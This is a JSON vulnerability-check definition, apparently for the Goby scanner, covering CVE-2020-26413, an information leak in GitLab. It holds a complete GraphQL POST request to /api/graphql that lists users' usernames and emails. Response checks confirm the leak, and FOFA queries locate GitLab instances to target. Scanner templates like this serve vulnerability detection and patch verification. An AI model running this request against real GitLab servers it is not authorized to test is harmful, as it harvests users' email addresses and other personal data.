{
  "Name": "GitLab information leak (CVE-2020-26413)",
  "Description": "An issue has been discovered in GitLab CE/EE affecting all versions starting from 13.4 before 13.6.2. Information disclosure via GraphQL results in user email being unexpectedly visible.",
  "Product": "GitLab",
  "Homepage": "https://gitlab.com",
  "DisclosureDate": "2020-12-10",
  "Author": "desktop-n7qn2h0\\go0p\r\n",
  "FofaQuery": "app=\"GitLab\"",
  "GobyQuery": "app=\"GitLab\"",
  "Level": "1",
  "Impact": "",
  "Recommendation": "",
  "References": null,
  "RealReferences": [
    "https://gitlab.com/gitlab-org/cves/-/blob/master/2020/CVE-2020-26413.json",
    "https://hackerone.com/reports/972355",
    "https://nvd.nist.gov/vuln/detail/CVE-2020-26413",
    "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-26413"
  ],
  "HasExp": true,
  "ExpParams": [
    {
      "Name": "AttackType",
      "Type": "select",
      "Value": "information"
    }
  ],
  "ExpTips": {
    "Type": "",
    "Content": ""
  },
  "ScanSteps": [
    "AND",
    {
      "Request": {
        "data": "{\"query\":\"{\\nusers {\\nedges {\\n  node {\\n    username\\n    email\\n    avatarUrl\\n    status {\\n      emoji\\n      message\\n      messageHtml\\n     }\\n    }\\n   }\\n  }\\n }\",\"variables\":null,\"operationName\":null}",
        "data_type": "text",
        "follow_redirect": false,
		"header": {"Content-Type": "application/json"},
        "method": "POST",
        "uri": "/api/graphql"
      },
      "ResponseTest": {
        "checks": [
          {
            "bz": "",
            "operation": "==",
            "type": "item",
            "value": "200",
            "variable": "$code"
          },
		  {
            "bz": "",
            "operation": "contains",
            "type": "item",
            "value": "email",
            "variable": "$body"
          },
		  {
            "bz": "",
            "operation": "contains",
            "type": "item",
            "value": "username",
            "variable": "$body"
          },
		  {
            "bz": "",
            "operation": "contains",
            "type": "item",
            "value": "@",
            "variable": "$body"
          }
        ],
        "operation": "AND",
        "type": "group"
      }
    }
  ],
  "ExploitSteps": null,
  "Tags": ["infoleak"],
  "CVEIDs": [
    "CVE-2020-26413"
  ],
  "CVSSScore": "5.0",
  "AttackSurfaces": {
    "Application": ["GitLab"],
    "Support": null,
    "Service": null,
    "System": null,
    "Hardware": null
  },
  "Disable": false
}